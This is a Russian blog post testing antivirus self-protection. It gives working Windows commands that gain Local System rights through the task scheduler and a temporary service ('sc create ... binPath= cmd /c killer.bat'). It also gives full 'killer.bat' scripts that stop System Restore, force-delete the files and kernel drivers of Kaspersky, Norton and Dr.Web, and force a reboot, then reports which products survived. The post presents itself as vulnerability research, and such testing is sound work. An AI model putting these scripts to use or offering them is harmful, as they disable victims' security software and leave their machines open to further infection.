Pull to refresh

Самозащита антивирусов или режем антивирус без ножа

Reading time 4 min
Views 8.3K
Привет всем!

Недавно мы уже обсудили могущество эвристических технологий современных антивирусов и пришли к мнению, что верить никому нельзя. Даже иногда себе :)

Сегодня мы поговорим о другом спорном моменте антивирусов — самозащите. Некоторые вендоры очень серьёзно относятся к этому моменту, и их продукты выстаивают даже в сложных комплексных случаях активного заражения, эффективно снимая вирусные перехваты, устанавливаясь в систему и даже в последующем удаляя уже изрядно прописавшихся зловредов. Другие считают, что активное заражение — это битва с ветряными мельницами, не приводящая ни к чему путному, а потому — LiveCD, а в ряде случаев и format c:

Отдадим должное обоим оппонентам: безусловно, если есть возможность победить вирусное противостояние — это хорошо. Если только это не приводит к бсодам и загрузке системы на пару-тройку дней. И абсолютно очевидно, что при серьёзном и комплексном заражении зачастую невозможно пробиться через активную массу перехватов, вредоносных процессов на уровне ядра и прочего — а потому часто действительно разумнее провести лечение неактивной системы (с LiveCD или сканируя винчестер на незаражённой машине), ну а в случае разношёрстной файловой инфекции — и задуматься о полной переустановке ОС.

Но не будем предаваться спорам — оставим это для следующей статьи :) Поговорим о простом: о самозащите системы даже на заведомо незаражённой системе. И примем априори:

1) имеется комплексный продукт антивирус+хипс+файервол;
2) система была незаражена, но каким-то образом проник вредоносный код;
3) вредоносный код имеет своим намерением удалить антивирус или повредить его настолько, чтобы обеспечить полную неработоспособность.

Вариант действий будет самым простым — попытка удаления жизненно важных файлов антивируса с правами Local System. Идея такого подхода принадлежит моему хорошему другу Алексею Баранову, который сообщил о ней в закрытых кругах некоторое время назад. Время прошло, будем считать, что вендоры подтянулись — проверим это.

На Windows-системах, работая под администратором (а это, наверное, 80% всех систем) получить права Local System достаточно просто. В голову сразу приходит два способа, хорошо описанные в сети.

Способ 1. Использование планировщика.
По умолчанию, на всех Windows-системах работает служба планировщика задач. Эта служба запускает задачи с искомыми правами Local System. Тогда очень просто добавить задание как-то:
at 11:05 c:\killer.bat
и kill.bat запустится с правами Local System.

Преимущества очевидны: всё просто и ясно. Недостаток: пользователь может заметить странную новую задачу в планировщике, да и просто в целях безопасности отключить эту службу.

Способ 1. Создание службы.
Суть метода заключается в создании службы, её запуске и удалении. При этом всё реализуется в три строчки:
sc create CmdAsSystem type= own type= interact binPath= "cmd /c start /low /b cmd /c (c:\killer.bat)"
net start CmdAsSystem
sc delete CmdAsSystem


При этом мало того, что killer.bat запустится с приоритетом IDLE, он ещё и будет запущен от имени Local System.
Метод незаметен, никак не проявляет себя.

На момент публикования статьи KIS 2010 оба метода пропускал на уровне хипса, даже не запрашивая никаких разрешений.

Ну а теперь перейдём к самому killer.bat (в нашем случае он расположен в корне на диске С, но понятно, что закинуть его можно куда угодно).

Суть этого файла проста: удаляем всё, что принадлежит антивирусу. Так, для Касперского 2010 это будет:
net stop srservice
erase /F /S /Q "C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2010"
erase /F /S /Q "%windir%\system32\drivers\kl1.sys"
erase /F /S /Q "%windir%\system32\drivers\klif.sys"
erase /F /S /Q "%windir%\system32\drivers\klbg.sys"
erase /F /S /Q "%windir%\system32\drivers\klim5.sys"
erase /F /S /Q "%windir%\system32\drivers\klmd.sys"
erase /F /S /Q "%windir%\system32\drivers\klmouflt.sys"
shutdown -r -f -c "Bye-Bye!!!"


Для Symantec что-то типа (кто знает точнее — поправьте, сам-то я на Касперском):
net stop srservice
erase /F /S /Q "C:\Program Files\Symantec"
erase /F /S /Q "C:\Program Files\Norton Internet Security"
shutdown -r -f -c "Bye-Bye!!!"


Для Доктора Веба:
net stop srservice
erase /F /S /Q "C:\Program Files\DrWeb"
erase /F /S /Q "%windir%\system32\drivers\dwprot.sys"
erase /F /S /Q "%windir%\system32\drivers\drwebaf.sys"
erase /F /S /Q "%windir%\system32\drivers\DrWebPF.sys"
erase /F /S /Q "%windir%\system32\drivers\spiderg3.sys"
shutdown -r -f -c "Bye-Bye!!!"


Ну и так далее. В первой строчке идёт останов службы восстановления Windows — так, на всякий случай :)

Понятно, что аналогичный скрипт можно прописать для всех антивирусов — суть изменять пути к жизненно важным файлам.

Итого — что же мы имеем?

1. KIS 2010 получил такой урон, что был убит, и система осталась без защиты. KIS 2011 лишён этой половой слабости — но он же всё ещё бета…
2. NIS потерял несколько файлов, но работоспособность не нарушилась, файлы впоследствии были скачаны и восстановлены при обновлении из Интернет.
3. DrWeb вообще не пострадал, что и ожидалось, принимая во внимание особый упор разработчика на противостояние инфекции. Но не забываем, что для Веба есть SpiDie

При этом хипсы указанных продуктов спокойно пропустили оба варианта манипуляций (КИС проверил лично).

ВЫВОДЫ
К сожалению, приходится констатировать факт, что некоторые из существующих антивирусных решений имеют ряд уязвимостей, которые могут быть использованы для повреждения защиты и фактически удалению антивируса с компьютера.

Предлагается в комментариях дополнить наблюдения и исследования по другим антивирусным продуктам (желательно с хипс, чтобы оценить и уровень блокировки действий по получению прав Local System). Думаю, что описанные манипуляции понятны и могут быть легко воспроизведены на виртуальных машинах энтузиастов.

Cheers! image
Tags:
Hubs:
If this publication inspired you and you want to support the author, do not hesitate to click on the button
+20
Comments 56
Comments Comments 56

Articles